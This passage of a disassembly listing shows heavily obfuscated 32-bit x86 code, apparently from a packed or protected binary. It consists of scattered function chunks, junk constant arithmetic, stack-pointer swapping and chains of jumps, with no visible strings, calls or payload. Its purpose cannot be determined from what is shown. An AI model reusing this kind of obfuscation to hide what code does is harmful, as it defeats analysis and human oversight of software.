OF FUNCTION CHUNK FOR sub_5996E4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F725: ; CODE XREF: sub_5AA2D1+1EB7j pop esi sub esi, 394C468Ch pop ebp and eax, esi push dword ptr [esp+0] mov esi, [esp+4+var_4] jmp loc_5AE04A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD213 loc_59F73A: ; CODE XREF: sub_5AD213-8D2Bj mov ebx, 4 push edx mov edx, 6F613699h sub edx, 0EB1D77Ch shr edx, 8 shl edx, 2 sub esp, 4 mov [esp+14h+var_14], ecx mov ecx, 644953DFh inc ecx sub ecx, 6ED0500Ch add ecx, 0FFFFFFFFh sub ecx, 590742E3h xor ecx, 0B1377EAh add ecx, 0C8227A1Ch xor edx, ecx pop ecx add edx, 0D24AC20Ch add esi, edx jmp loc_5A5817 ; END OF FUNCTION CHUNK FOR sub_5AD213 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59F78B: ; CODE XREF: sub_5A5EFF-7818j inc edx shl edx, 6 jnz loc_59E56D jmp loc_5A8D9A ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- mov ecx, [esp] push esi mov esi, esp ; START OF FUNCTION CHUNK FOR sub_5A96D8 loc_59F7A0: ; CODE XREF: sub_5A96D8+28j add esp, 4 add ebp, 4 push esi jmp loc_5995EB ; END OF FUNCTION CHUNK FOR sub_5A96D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59F7B2: ; CODE XREF: sub_5AA810+5B9Ej add ebx, 24EB4526h mov esi, [esp+0] push edx push esp pop edx push edi mov edi, 4 add edx, edi pop edi push ebp mov ebp, 4 jmp loc_59B8A6 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F7D2: ; CODE XREF: sub_5AA2D1-6A80j mov [esp+4+var_4], edx push 3A5Ch mov [esp+8+var_8], ebx sub esp, 4 jmp loc_5A5C94 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59F7E8: ; CODE XREF: sub_59C979+1304Bj add ebx, ecx pop ecx sub eax, 1054596Eh jmp loc_5ABEA4 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F7F5: ; CODE XREF: sub_5AA2D1+1EE3j push eax jmp loc_5AA9F9 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59F7FB: ; CODE XREF: sub_5AA810-F67Fj jmp loc_59F179 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5ADD33 loc_59F800: ; CODE XREF: sub_5ADD33-33DAj xchg eax, [esp+10h+var_10] pop esp add eax, 4 sub eax, 4 xor eax, [esp+0Ch+var_C] jmp loc_5A3863 ; END OF FUNCTION CHUNK FOR sub_5ADD33 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B03E8 loc_59F816: ; CODE XREF: sub_5B03E8+9j pop esp add eax, 4 xchg eax, [esp-4+arg_0] mov esp, [esp-4+arg_0] shr eax, 18h xor eax, ecx push edi mov edi, esp push 61F9h jmp loc_5A8EF8 ; END OF FUNCTION CHUNK FOR sub_5B03E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A9B1D loc_59F834: ; CODE XREF: sub_5A9B1D-E4F6j not ecx inc ecx sub esp, 4 mov [esp+4+var_4], edi jmp loc_5A1264 ; END OF FUNCTION CHUNK FOR sub_5A9B1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A79BE loc_59F842: ; CODE XREF: sub_5A0AA2:loc_59A6DEj ; sub_5A79BE+19C4j not edx sub esp, 4 jmp loc_59A017 ; END OF FUNCTION CHUNK FOR sub_5A79BE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F84F: ; CODE XREF: sub_5AA2D1-7BABj push ecx mov cl, 2Bh sub esp, 2 mov word ptr [esp+18h+var_1A+2], dx push 40A1h mov [esp+0], ebx jmp loc_5A2602 ; --------------------------------------------------------------------------- loc_59F866: ; CODE XREF: sub_5AA2D1-BF0Ej add ecx, 4 xchg ecx, [esp-18h+arg_14] pop esp sub edx, esi pop esi mov ebx, edx jmp loc_59DEE8 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59F87A: ; CODE XREF: sub_5A5EFF+994j mov [esp-4+arg_0], eax push edi mov edi, 5A586C59h add edi, 28FE6E0Bh jb loc_59E61C jmp loc_59FD2D ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F894: ; CODE XREF: sub_5AA2D1-8FF0j mov edi, ecx pop ecx add edi, 2ABFF997h xor eax, edi pop edi push eax mov esi, [esp-24h+arg_20] add esp, 4 push [esp-28h+arg_24] mov eax, [esp-24h+arg_20] add esp, 4 push ecx push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-20h+arg_1C] pop esp mov [esp-24h+arg_20], ebx mov ebx, esp add ebx, 4 jmp loc_59FA36 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D18A loc_59F8D3: ; CODE XREF: sub_59D18A+11DCEj mov [esp+0Ch+var_C], ebp push esi push edi push 5B9E7F0Eh pop edi xor edi, 166A4749h mov esi, edi mov edi, [esp+14h+var_14] sub esp, 4 mov [esp+18h+var_18], edx jmp loc_5A8C82 ; END OF FUNCTION CHUNK FOR sub_59D18A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B01F7 loc_59F8F4: ; CODE XREF: sub_5B01F7-120F7j mov ecx, 57F55C7Ch add ecx, 1 push ecx inc [esp+18h+var_18] pop ecx sub ecx, 2BBB3677h jmp loc_5A4140 ; END OF FUNCTION CHUNK FOR sub_5B01F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_59F90F: ; CODE XREF: sub_59F1C3+1E1Aj sub edi, 0FFFFFFFFh and edi, 65F847ADh push edx mov edx, 601514F2h xor edi, edx pop edx xor edi, 45BD17D3h add eax, edi pop edi add eax, 4 push eax push dword ptr [esp+4] jmp loc_5A0F3B ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F93C: ; CODE XREF: sub_5AA2D1-5FEEj push eax push ebx jmp loc_5A9A0A ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5956 loc_59F943: ; CODE XREF: sub_5A5956-17CEj mov esp, [esp+0] xchg edx, [esp+0] mov esp, [esp+0] jmp loc_5AC337 ; END OF FUNCTION CHUNK FOR sub_5A5956 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF8FF loc_59F951: ; CODE XREF: sub_5AF8FF-5125j xchg ebx, [esp+0Ch+var_C] pop esp mov [esp+8+var_8], edi mov edi, 4 add [esp+8+var_4], edi pop edi jmp loc_5A7B70 ; END OF FUNCTION CHUNK FOR sub_5AF8FF ; =============== S U B R O U T I N E ======================================= sub_59F967 proc near ; CODE XREF: sub_5A62C4+15j push ebx pop eax pop ebx jmp loc_5AEA81 sub_59F967 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F96F: ; CODE XREF: sub_5AA2D1+5A1Ej mov [esp-1Ch+arg_18], eax mov eax, esp add eax, 4 add eax, 4 jmp loc_59EF08 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A26C loc_59F983: ; CODE XREF: sub_59A26C+9670j mov edi, 676C4DE7h sub edi, 24D2BAD0h jmp loc_59958C ; END OF FUNCTION CHUNK FOR sub_59A26C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59F993: ; CODE XREF: sub_5992DA+88D7j sub edx, 77F83B37h add edx, 27D61C8Fh add edx, eax sub edx, 27D61C8Fh sub esp, 4 mov [esp-8+arg_4], esi jmp loc_599BF6 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F02F loc_59F9B5: ; CODE XREF: sub_59F02F-1D3Ej sub eax, ecx pop ecx jmp loc_5A0E46 ; END OF FUNCTION CHUNK FOR sub_59F02F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A479 loc_59F9BD: ; CODE XREF: sub_5A4E04-EE3j ; sub_59A479+1103Ej jns loc_5A4817 jmp loc_5ABA1E ; END OF FUNCTION CHUNK FOR sub_59A479 ; --------------------------------------------------------------------------- pop esi add esi, 4 ; START OF FUNCTION CHUNK FOR sub_59CBE1 loc_59F9CF: ; CODE XREF: sub_59CBE1:loc_5A05C5j add eax, 0D8D7B7A8h mov edx, eax pop eax or edx, 540C0139h jmp loc_5ADEFA ; END OF FUNCTION CHUNK FOR sub_59CBE1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A75B3 loc_59F9E2: ; CODE XREF: sub_5A75B3+1j mov ebp, 315A5EF1h jmp loc_5A3A26 ; END OF FUNCTION CHUNK FOR sub_5A75B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59F9EC: ; CODE XREF: sub_5AA2D1-3BBEj mov esi, 221256A6h neg esi jmp loc_5A9296 ; --------------------------------------------------------------------------- loc_59F9F8: ; CODE XREF: sub_5AA2D1-6E9Ej sub edi, 73F6144Ch mov esi, [esp-1Ch+arg_18] add esp, 4 push edi push [esp-1Ch+arg_1C] jmp loc_5AE602 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59FA0E: ; CODE XREF: sdfs____:005A35F1j pop ebx add esp, 4 push ebx push esi mov esi, 2 mov ebx, esi pop esi add edi, ebx push dword ptr [esp] pop ebx push esi mov esi, esp push edi mov edi, 4 add esi, edi pop edi jmp loc_5AD56B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FA36: ; CODE XREF: sub_5AA2D1-AA03j sub ebx, 4 xchg ebx, [esp-24h+arg_20] pop esp mov [esp-28h+arg_24], esp add [esp-28h+arg_24], 4 pop ecx push edi mov edi, 4 add ecx, edi mov edi, [esp-28h+arg_24] add esp, 4 add ecx, 4 xchg ecx, [esp-2Ch+arg_28] pop esp and eax, esi pop esi shr eax, 0Ah xor eax, ecx push 7242h mov [esp-30h+arg_2C], edx mov edx, esp push ebx mov ebx, 430A5BB3h add ebx, 1E164CFDh shl ebx, 6 or ebx, 56421B84h shr ebx, 5 xor ebx, 37CF291Fh push esi push ebp mov ebp, 1D121BA8h mov esi, 182A5D3Fh add esi, ebp pop ebp xor ebx, esi pop esi jmp loc_5A5748 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59FAA7: ; CODE XREF: sub_5A2E28-3DD5j add esi, 32743F76h pop edx push ebx jmp loc_5AC833 ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59FAB4: ; CODE XREF: sub_59A7E7+A84Ej mov ax, word ptr [esp-4+arg_0] push esi mov esi, esp add esi, 4 jmp loc_5A81CC ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59FAC6: ; CODE XREF: sub_5A6BBC-BD45j mov edi, ecx pop ecx push edi pop eax pop edi push eax not [esp+0Ch+var_C] jmp loc_5AA24E ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FAD5: ; CODE XREF: sub_5AA2D1-97ADj push [esp-2Ch+arg_28] pop ebp add esp, 4 or ebp, 4649045Fh ja loc_5A6BE6 shl ebp, 8 jnp loc_5A0C04 push edx jmp loc_5AF618 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59FAF7: ; CODE XREF: sdfs____:0059D277j add edi, 4 sub edi, 4 xchg edi, [esp] mov esp, [esp] mov [esp], edx push esp pop edx add edx, 4 push esi jmp loc_5AB932 ; =============== S U B R O U T I N E ======================================= sub_59FB1A proc near ; CODE XREF: sub_5A7BEB-4AA2j var_6 = dword ptr -6 ; FUNCTION CHUNK AT 005997BD SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059D3DB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0059E9D3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A0AF3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A148A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005A4597 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A792E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005A8C7C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A957C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AB825 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005AF300 SIZE 0000001C BYTES push bx jmp loc_5A148A sub_59FB1A endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AD84A loc_59FB21: ; CODE XREF: sub_5AD84A-123C5j push 1DFF7018h pop edx not edx sub edx, 0ACC53A41h mov eax, edx mov edx, [esp+8+var_8] add esp, 4 dec eax push edi mov edi, 5BCB0BD2h jmp sub_599117 ; END OF FUNCTION CHUNK FOR sub_5AD84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59FC02 loc_59FB43: ; CODE XREF: sub_5992DA+999Fj ; sub_59FC02+F8B4j mov ebp, 4 add edx, ebp pop ebp jmp sub_59F1F3 ; END OF FUNCTION CHUNK FOR sub_59FC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AB207 loc_59FB50: ; CODE XREF: sub_5A580F-35CBj ; sub_5AB207-4436j push ecx mov ecx, 37CA0905h add [esp+arg_0], ecx jmp loc_5A2803 ; --------------------------------------------------------------------------- loc_59FB5F: ; CODE XREF: sub_5AB207+51FAj push edi mov edi, 4 add esi, edi pop edi add esi, 4 jmp loc_599872 ; END OF FUNCTION CHUNK FOR sub_5AB207 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59F1C3 loc_59FB73: ; CODE XREF: sub_59F1C3+797Dj mov ebx, eax pop eax and eax, ebx mov ebx, [esp+0] push edx jmp loc_5A272B ; END OF FUNCTION CHUNK FOR sub_59F1C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FB81: ; CODE XREF: sub_5AA2D1+4615j add ecx, edx mov edx, [esp-2Ch+arg_28] push eax push esp pop eax jmp loc_5A0BB9 ; --------------------------------------------------------------------------- loc_59FB8E: ; CODE XREF: sub_5AA2D1+19DFj push 6E38h mov [esp-24h+arg_20], esi push [esp-24h+arg_24] pop esi pop [esp-24h+arg_20] mov esp, [esp-28h+arg_24] jmp loc_59AA79 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AE29C loc_59FBA6: ; CODE XREF: sub_5AE29C-8C09j push dword ptr [esp+0] jmp loc_5AD3F0 ; END OF FUNCTION CHUNK FOR sub_5AE29C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FBAE: ; CODE XREF: sub_5AA2D1-10262j pop eax push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp-8+arg_4] jmp loc_5AE397 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- loc_59FBC2: ; CODE XREF: sdfs____:0059B152j xor [esp], edx xor edx, [esp] mov esp, [esp] dec byte ptr [esp] pushf jmp loc_59910F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FBD4: ; CODE XREF: sub_5AA2D1-B6CFj ; sub_5A16B8+46B0j add [esp-0Ch+arg_8], 4 pop ecx jmp loc_59A2F3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59FBE1: ; CODE XREF: sub_5992DA+4398j shl edx, 5 sub esp, 4 mov [esp+0], ecx jmp loc_5A7085 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A4886 loc_59FBEF: ; CODE XREF: sub_5A4886+1j mov ebp, 75303C32h sub ebp, 2783EA91h sub ebx, ebp pop ebp jmp loc_5A6AC4 ; END OF FUNCTION CHUNK FOR sub_5A4886 ; =============== S U B R O U T I N E ======================================= sub_59FC02 proc near ; CODE XREF: sub_5AA2D1-70F6j ; sub_5A9B1D+3623j var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0059AF25 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C398 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0059C70F SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0059F4F5 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0059FB43 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005A3068 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A37DF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A38C0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005A4E47 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 005A50BF SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005A702E SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A7BB3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 005A8379 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 005A88AB SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A8C3A SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005AA1D2 SIZE 00000026 BYTES ; FUNCTION CHUNK AT 005AB198 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005AC5AC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005ADAB8 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 005AF49F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005AF5EA SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005AF9E1 SIZE 0000000D BYTES push ebx push ecx push 0F6F7CBAh mov ecx, [esp+0Ch+var_C] add esp, 4 sub esp, 4 mov [esp+0Ch+var_C], ebp push ecx push 1D471FFDh mov ecx, [esp+14h+var_14] add esp, 4 inc ecx shr ecx, 6 and ecx, 50D50198h jnp loc_5A38C0 sub ecx, 0F538BB1Fh push ecx jmp loc_5A50BF sub_59FC02 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0278 loc_59FC40: ; CODE XREF: sub_5A0278+48CFj add eax, 75F90741h add eax, edi sub eax, 75F90741h push 5177h mov [esp+4+var_4], ebx sub esp, 4 mov [esp+8+var_8], esi push 62A1h jmp loc_59E5BB ; END OF FUNCTION CHUNK FOR sub_5A0278 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59A7E7 loc_59FC67: ; CODE XREF: sub_59A7E7+126E7j neg dl add dl, 0FFh add dl, 0E1h or cl, dl pop edx jmp loc_5AE4DE ; END OF FUNCTION CHUNK FOR sub_59A7E7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A2E28 loc_59FC77: ; CODE XREF: sub_5A2E28+1BBj xor ecx, eax not eax jmp loc_5A28DD ; END OF FUNCTION CHUNK FOR sub_5A2E28 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59C979 loc_59FC80: ; CODE XREF: sub_59C979+56B4j pop ebp xor edx, 12F011D8h sub edx, 16DB3F50h add ebp, edx pop edx add ebp, 4 xchg ebp, [esp-6+arg_2] jmp loc_5AB079 ; END OF FUNCTION CHUNK FOR sub_59C979 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5992DA loc_59FC9E: ; CODE XREF: sub_5992DA+11E48j mov edx, [esp+0] jmp loc_5AA768 ; END OF FUNCTION CHUNK FOR sub_5992DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D37E loc_59FCA6: ; CODE XREF: sub_59D37E+7F0Ej add esp, 4 sub al, 0B9h add al, ch add al, 0B9h mov ecx, [esp+4+var_4] add esp, 4 push edx push ebx mov bl, 5Dh mov dh, bl jmp loc_5AB152 ; END OF FUNCTION CHUNK FOR sub_59D37E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_59FCC0: ; CODE XREF: sub_5A5824+31j add esp, 4 sub eax, 0AD81E94Ah xor esi, eax push [esp+4+var_4] jmp loc_5ABADF ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A317A loc_59FCD2: ; CODE XREF: sub_5A317A-71ECj push edi mov edi, esi mov eax, edi pop edi jmp loc_5AECA8 ; END OF FUNCTION CHUNK FOR sub_5A317A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA810 loc_59FCDD: ; CODE XREF: sub_5AA810-EF59j mov [esp-4+arg_0], edx push esp pop edx push edi mov edi, 35E548E7h shr edi, 7 sub edi, 6BCA8Dh add edx, edi mov edi, [esp+0] add esp, 4 jmp loc_599D72 ; END OF FUNCTION CHUNK FOR sub_5AA810 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FD01: ; CODE XREF: sub_5AA2D1-CBCFj shr dl, 2 neg dl xor dl, 0FCh jmp loc_5A069C ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A0FFF loc_59FD0E: ; CODE XREF: sub_5A0FFF-4E88j ; sdfs____:005AA2CCj pop ax push ax push edx mov dh, 0F8h inc dh sub dh, 0FAh mov ah, dh mov edx, [esp+4+var_4] add esp, 4 sub ch, ah pop ax push edx push ecx jmp loc_5A6BF5 ; END OF FUNCTION CHUNK FOR sub_5A0FFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5EFF loc_59FD2D: ; CODE XREF: sub_5A5EFF-6670j neg edi jbe loc_59A183 sub edi, 5813B25Bh mov eax, edi pop edi mov ah, 0Fh loc_59FD41: ; CODE XREF: sub_5AE6B6+11j push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+0] mov esp, [esp+0] jmp loc_59B712 ; END OF FUNCTION CHUNK FOR sub_5A5EFF ; --------------------------------------------------------------------------- loc_59FD5B: ; CODE XREF: sdfs____:005ACCBAj add esi, eax jmp loc_5A95C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FD62: ; CODE XREF: sdfs____:0059C026j ; sub_5AA2D1-B16Aj sub eax, edi mov edi, [esp-1Ch+arg_18] add esp, 4 sub esp, 4 mov [esp-1Ch+arg_18], esi mov esi, esp push 0D5Fh mov [esp-18h+arg_14], edx mov edx, 6CBC4957h add edx, 9343B6ADh add esi, edx mov edx, [esp-18h+arg_14] add esp, 4 sub esi, 4 push 4B7Eh jmp loc_5AD782 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AFA26 loc_59FDA0: ; CODE XREF: sub_5AFA26-15B25j xor eax, edx jmp loc_5A1AB1 ; END OF FUNCTION CHUNK FOR sub_5AFA26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AF2D9 loc_59FDA7: ; CODE XREF: sub_5AF2D9-1490Bj push ecx jmp loc_5A9A72 ; END OF FUNCTION CHUNK FOR sub_5AF2D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B95E loc_59FDAD: ; CODE XREF: sub_59B95E-C16j sub esi, 0E4D26DBh jmp loc_5A1E60 ; END OF FUNCTION CHUNK FOR sub_59B95E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A5824 loc_59FDB8: ; CODE XREF: sub_5A5824+1A02j and eax, ebp pop ebp or edx, eax shl edx, 1 push dword ptr [edi+24h] push 3018h mov [esp+0Ch+var_C], edx pop dword ptr [edi+24h] jmp loc_5AE2D8 ; END OF FUNCTION CHUNK FOR sub_5A5824 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B0377 loc_59FDD2: ; CODE XREF: sub_5B0377-16B0Aj pop edi and edx, ecx mov ecx, [esp+0Ch+var_C] add esp, 4 sub edx, 1 dec edx shl edx, 1 shl edx, 6 xor edx, 0E0013104h add ebx, edx mov edx, [esp+8+var_8] add esp, 4 push ecx jmp loc_5AF038 ; END OF FUNCTION CHUNK FOR sub_5B0377 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A3C19 loc_59FDFE: ; CODE XREF: sub_599117+2D37j ; sub_5A3C19:loc_59EA30j add ebx, 80C66AA1h add ecx, ebx jmp loc_5B024C ; END OF FUNCTION CHUNK FOR sub_5A3C19 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59FE0B: ; CODE XREF: sub_5A6BBC+15F3j sub eax, 0AFF59EA6h mov ecx, eax jmp loc_5A9109 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59B4B1 loc_59FE17: ; CODE XREF: sub_59B4B1+1C4Fj add bl, 0A4h sub bl, 4Dh jmp loc_5A9800 ; END OF FUNCTION CHUNK FOR sub_59B4B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FE22: ; CODE XREF: sub_5AA2D1-EF6Bj push eax mov eax, 642039DDh or ebp, eax pop eax jmp loc_59B285 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_599A61 loc_59FE30: ; CODE XREF: sub_599A61+163CBj jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_599A61 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5A6BBC loc_59FE35: ; CODE XREF: sub_5A6BBC+D40j xor ebx, edi jmp loc_5A44B6 ; END OF FUNCTION CHUNK FOR sub_5A6BBC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59D6B8 loc_59FE3C: ; CODE XREF: sub_59D6B8-7B3j push edi push dword ptr [esp+4] pop edi pop [esp+4+var_4] mov esp, [esp+0] inc byte ptr [esp+0] pushf jmp loc_59910F ; END OF FUNCTION CHUNK FOR sub_59D6B8 ; =============== S U B R O U T I N E ======================================= sub_59FE51 proc near ; CODE XREF: sub_599A61+9542j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0059987A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00599A46 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059A008 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0059A6F1 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0059F4EF SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A3114 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 005A3230 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005A33C9 SIZE 00000029 BYTES ; FUNCTION CHUNK AT 005A3B68 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 005A46F9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A5A0E SIZE 0000001E BYTES ; FUNCTION CHUNK AT 005A5E9C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005A6E39 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 005A9F27 SIZE 00000020 BYTES push ebx mov ebx, 0A8BB8355h add eax, ebx pop ebx xor esi, eax jmp loc_5A3230 sub_59FE51 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5AA2D1 loc_59FE61: ; CODE XREF: sub_5AA2D1-5E0Aj add al, bh pop bx push ebx push edx mov dh, 0F7h mov bl, dh pop edx sub al, bl mov ebx, [esp+8+var_8] add esp, 4 jmp loc_5AE3D3 ; END OF FUNCTION CHUNK FOR sub_5AA2D1 ; --------------------------------------------------------------------------- ; START 